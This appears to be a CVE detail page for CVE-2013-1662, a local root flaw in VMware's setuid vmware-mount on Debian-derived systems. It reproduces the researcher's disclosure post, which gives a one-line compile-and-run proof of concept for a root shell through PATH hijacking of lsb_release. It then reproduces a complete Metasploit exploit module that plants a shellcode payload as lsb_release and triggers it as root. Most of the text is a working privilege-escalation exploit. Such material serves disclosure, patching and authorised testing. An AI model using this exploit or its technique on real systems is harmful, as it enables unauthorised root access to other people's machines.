CVE-2013-1662 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// Source: http://blog.cmpxchg8b.com/2013/08/security-debianisms.html On most modern Linux systems, /bin/sh is provided by bash, which detects that it's being invoked as sh, and attempts to mimic traditional sh. As everyone who works in security quickly learns, bash will drop privileges very early if uid != euid. 488 489 if (running_setuid && privileged_mode == 0) 490 disable_priv_mode (); 491 Where disable_priv_mode is defined as: 1202 void 1203 disable_priv_mode () 1204 { 1205 setuid (current_user.uid); 1206 setgid (current_user.gid); 1207 current_user.euid = current_user.uid; 1208 current_user.egid = current_user.gid; 1209 } Non-Linux systems tend to use pdksh as /bin/sh, which also supports privmode since version 5.0.5: 307 /* Turning off -p? */ 308 if (f == FPRIVILEGED && oldval && !newval) { 309 #ifdef OS2 310 ; 311 #else /* OS2 */ 312 setuid(ksheuid = getuid()); 313 setgid(getgid()); 314 #endif /* OS2 */ 315 } else if (f == FPOSIX && newval) { This is surprisingly effective at mitigating some common vulnerability classes and misconfigurations. Indeed, Chet Ramey (bash author and maintainer) explains that the purpose of this is to prevent "bogus system(3) calls in setuid executables", see section 7 of the bash NOTES file. However, this never really happens on Debian derived systems. Debian (and therefore Ubuntu) will use dash by default (see https://wiki.debian.org/DashAsBinSh), or disable it with this patch if you choose to use bash: http://patch-tracker.debian.org/patch/series/view/bash/4.2+dfsg-0.1/privmode.diff A nice example of this failing can be observed in the VMware utilities, which try to invoke lsb_release with popen() to learn about the current execution environment. This means you can get a nice easy root shell like this on any Debian/Ubuntu derived system with VMware installed: $ cc -xc - -olsb_release<<<'main(){system("sh>`tty` 2>&1");}';PATH=.:$PATH vmware-mount # whoami root It looks like Debian originally decided they didn't want privmode because it broke UUCP (!?). http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=52586 VMware do list Debian/Ubuntu as supported host platforms though, so they have published a fix for this issue today. If you care about this and can't wait for the patch, you can temporarily remove the setuid bit from vmware-mount like this: # chmod u-s /usr/bin/vmware-mount Note that it is almost impossible to use popen() or system() safely in a setuid program without privmode, even if you specify the full path. This is a fun example from back in 2005, but there are lots more cases. In conclusion, too bad if an otherwise unexploitable bug becomes exploitable, that's the price you pay for high quality uucp support in 2013 ;-) P.S. If you don't know what uucp is, you can read more about it on fidonet or at my gopher site. P.P.S. I sent the dash maintainers a patch today, but I'm not sure if they're interested.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' class Metasploit4 < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::Common include Msf::Post::File def initialize(info={}) super( update_info( info, { 'Name' => 'VMWare Setuid vmware-mount Unsafe popen(3)', 'Description' => %q{ VMWare Workstation (up to and including 9.0.2 build-1031769) and Player have a setuid executable called vmware-mount that invokes lsb_release in the PATH with popen(3). Since PATH is user-controlled, and the default system shell on Debian-derived distributions does not drop privs, we can put an arbitrary payload in an executable called lsb_release and have vmware-mount happily execute it as root for us. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy', # Vulnerability discovery and PoC 'egypt' # Metasploit module ], 'Platform' => [ 'linux' ], 'Arch' => ARCH_X86, 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultOptions' => { "PrependSetresuid" => true, "PrependSetresgid" => true, }, 'Privileged' => true, 'DefaultTarget' => 0, 'References' => [ [ 'CVE', '2013-1662' ], [ 'OSVDB', '96588' ], [ 'BID', '61966'], [ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ], [ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ] ], 'DisclosureDate' => "Aug 22 2013" } )) # Handled by ghetto hardcoding below. deregister_options("PrependFork") end def check if setuid?("/usr/bin/vmware-mount") CheckCode::Vulnerable else CheckCode::Safe end end def exploit unless check == CheckCode::Vulnerable fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid") end # Ghetto PrependFork action which is apparently only implemented for # Meterpreter. # XXX Put this in a mixin somewhere # if(fork()) exit(0); # 6A02 push byte +0x2 # 58 pop eax # CD80 int 0x80 ; fork # 85C0 test eax,eax # 7406 jz 0xf # 31C0 xor eax,eax # B001 mov al,0x1 # CD80 int 0x80 ; exit exe = generate_payload_exe( :code => "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" + payload.encoded ) write_file("lsb_release", exe) cmd_exec("chmod +x lsb_release") cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount") # Delete it here instead of using FileDropper because the original # session can clean it up cmd_exec("rm -f lsb_release") end def setuid?(remote_file) !!(cmd_exec("test -u /usr/bin/vmware-mount && echo true").index "true") end end